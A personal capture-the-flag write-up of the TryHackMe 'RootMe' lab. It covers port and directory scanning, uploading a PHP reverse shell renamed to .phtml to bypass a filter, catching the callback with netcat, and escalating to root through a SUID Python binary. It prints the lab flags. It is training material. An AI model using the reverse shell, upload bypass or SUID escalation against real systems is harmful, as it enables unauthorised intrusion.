RootMe

Date Started	@September 7, 2024 7:00 PM (EDT)
Summary of the Lab	Privilege escalation with Binary files in the bin folder, Reverse Shell file Upload
Date Finished	@September 7, 2024 11:08 PM (EDT)
LAB	THM
Lab Name	**RootMe**
Lab Status	Done
Level of Difficulty	☆☆

- Port Enumeration

```
┌──(tricia㉿kali)-[~]
└─$ nmap -sC -sV 10.10.85.243
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-07 11:52 EDT
Nmap scan report for 10.10.85.243
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HackIT - Home
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http
s://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.36 seconds
```

- Directory Enumeration

```
┌──(tricia㉿kali)-[~]
└─$ dirb http://10.10.85.243/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Sep  7 11:58:29 2024
URL_BASE: http://10.10.85.243/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.85.243/ ----
⇒ DIRECTORY: http://10.10.85.243/css/
+ http://10.10.85.243/index.php (CODE:200|SIZE:616)
⇒ DIRECTORY: http://10.10.85.243/js/
⇒ DIRECTORY: http://10.10.85.243/panel/
+ http://10.10.85.243/server-status (CODE:403|SIZE:277)
⇒ DIRECTORY: http://10.10.85.243/uploads/

---- Entering directory: http://10.10.85.243/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.85.243/js/ ----
```

```
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.85.243/panel/ ----
+ http://10.10.85.243/panel/index.php (CODE:200|SIZE:732)

---- Entering directory: http://10.10.85.243/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Sat Sep  7 12:23:32 2024
DOWNLOADED: 9224 - FOUND: 3
```

- Since the version of Apache Running is susceptible to file transversal and remote code execution and we now know that Ubuntu is also running on the webpage we can upload a reverse shell file
  - In the `http://10.10.85.243/panel/` directory you can upload a reverse shell file
  - Used Hack Tools to download the PHP reverse shell file and set the IP and port to listen from from my machine

```
<?php

  // php-reverse-shell - A Reverse Shell implementation in PHP

  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net


  set_time_limit (0);

  $VERSION = "1.0";

  $ip = 'tun0 ip address';  // Local ip address

  $port = 1234;  // And this

  $chunk_size = 1400;
```

```
$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;
```

- Renamed the file to `.phtml` extension since it detects `.php` file extension
- Before clicking on the link in the `http://10.10.85.243/uploads/<reverse shell file>.php` file I set up my device for listening using the net-cat command: `nc -lvnp <port I used when setting up>`

```
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.23.13.143] from (UNKNOWN) [10.10.200.5] 52752
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:
39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 19:40:20 up  2:36,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
```

- Navigate to `user.txt`
  - Discovered the user is `www-data`
  - Looked into the `var/www/html` to file the file and was successful

```
$ whoami
www-data
$ cd var
$ ls
backups
cache
```

```
crash
lib
local
lock
log
mail
opt
run
snap
spool
tmp
www
$ cd www
$ ls
html
user.txt
$ cat user.txt
THM{y0u_g0t_a_sh3ll}
```

- Files with SUID Permissions
  - Python stands out as we could run python commands

```
$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
```

```
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
```

- https://www.prplbx.com/resources/blog/linux-privilege-escalation-with-path-variable-suid-bit/ using that link I learnt what `SUID` means and what you can do in order to gain privileges of the root user
    - By retrieving the `SUID` s from the former command we learn that the python command can be run. In this case we could execute the following python command

      ```
      $ ls -la /usr/bin/python
      -rwsr-sr-x 1 root root 3665768 Aug  4  2020 /usr/bin/python
      ```

        - Binaries are Linux executable in the **/bin** folder. Linux has some binaries that have SUID bits. For example **passwd**. **passwd** is a command for changing the user password and has a SUID bit. When we type the command, we are executing it as a root user.
    - Went on https://gtfobins.github.io/gtfobins/python/ to get a python command that can give us a root shell and it worked as showed below as with the `www-data` user you could not get access to the root file directory
        - PS: We could not run the command as root as we do not have the root privileges

          ```
          $ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
          whoami
          root
          pwd
          /
          cd root
          ls -l
          total 4
          -rw-r--r-- 1 root root 26 Aug  4  2020 root.txt
          cat root.txt
          THM{pr1v1l3g3_3sc4l4t10n}
          ```